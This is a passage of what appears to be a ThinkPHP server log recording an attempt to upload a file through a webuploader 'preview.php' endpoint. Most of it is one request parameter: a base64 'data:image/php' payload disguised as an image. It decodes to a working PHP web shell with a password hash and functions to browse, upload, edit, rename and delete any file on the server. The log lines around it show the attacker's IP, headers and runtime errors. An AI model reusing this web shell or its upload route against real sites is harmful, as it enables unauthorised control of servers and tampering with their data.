'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:29+08:00 ] 116.213.36.234 POST 51tianwei.com/Tpl/Home/default/Public/Hui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002701s] [吞吐率:370.23req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Tpl', 2 => 'Home', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 